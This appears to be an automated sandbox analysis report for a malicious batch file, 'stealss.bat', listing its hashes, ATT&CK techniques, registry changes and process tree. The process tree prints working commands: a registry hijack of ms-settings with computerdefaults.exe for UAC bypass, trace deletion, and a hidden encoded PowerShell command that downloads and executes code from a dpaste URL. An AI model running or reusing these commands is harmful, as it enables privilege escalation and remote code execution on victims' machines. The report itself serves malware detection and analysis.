ebad25dbd558b23bd6cad5852d98426b9e75e1f4181bf503fa498ad9780ec9fc

Analysis

max time kernel
148s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 04:29

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General

Target
stealss.bat
Size 723B
Sample260628-e4nf8afs4r
SHA256 ebad25dbd558b23bd6cad5852d98426b9e75e1f4181bf503fa498ad9780ec9fc
MD5 051083e2d0f0ae7576b6996972998bac
SHA1 8fc8c885c3d913889c378f696cae28fb3a36434b
SHA512 ab75e8cdd2436c29f00bdc0a3155a6de066a1a31cb2f3bf2522229dd631a918b25989ec6b5f1f29c3b9eb6eaac9d6cb38cbc6cf4dd63d10841f27532eb7fbbe7
TLSH
T18B0110262D19ECCC0A4AAD7884D47670445B138BC73077C5F5F4B8B2251621CCFA17DC
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://dpaste.com/66ESGVJDS.txt

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	716	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
716	powershell.exe
4296	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2704	timeout.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4118910392-3846778420-3545080915-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4118910392-3846778420-3545080915-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4118910392-3846778420-3545080915-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4118910392-3846778420-3545080915-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4118910392-3846778420-3545080915-1000_Classes\ms-settings\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\stealss.bat\""	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4118910392-3846778420-3545080915-1000_Classes\ms-settings\shell\open\command	powershell.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4118910392-3846778420-3545080915-1000_Classes\ms-settings\shell\open	powershell.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4118910392-3846778420-3545080915-1000_Classes\ms-settings\shell	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4296	powershell.exe
4296	powershell.exe
4296	powershell.exe
716	powershell.exe
716	powershell.exe
716	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4296	powershell.exe
Token: SeDebugPrivilege	716	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 2484	2988	cmd.exe	90
PID 2988 wrote to memory of 2560	2988	cmd.exe	91
PID 2988 wrote to memory of 2704	2988	cmd.exe	92
PID 2988 wrote to memory of 4296	2988	cmd.exe	97
PID 2988 wrote to memory of 716	2988	cmd.exe	98

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\stealss.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "\"C:\Users\Admin\AppData\Local\Temp\stealss.bat\"" /f
  2⤵
  - Modifies registry class
  PID:2484
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:2560
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Remove-Item -Path HKCU:\Software\Classes\ms-settings\shell -Recurse -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AZABwAGEAcwB0AGUALgBjAG8AbQAvADYANgBFAFMARwBWAEoARABTAC4AdAB4AHQAJwApAA==
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:3808

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
MD5 9db254dd0cf5e2b1153ff5cde0ed8885
SHA1 de97945a57babdd2498693fbb2b3d8bc548da209
SHA512 a86e71b1b09215d626067d2fab0d7111a5718937c4097b826e77402d32aa3bf64d73a8886104f7b0ae434dcafb9abab4d04d2c053cb65510d611c069d04f7011
TLSH
T19A115733B3CC8624C89A413650CEAC1036B587DB519ECE6BBB84D154B43F59ADE61260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4296-2-0x00000186EA120000-0x00000186EA142000-memory.dmp

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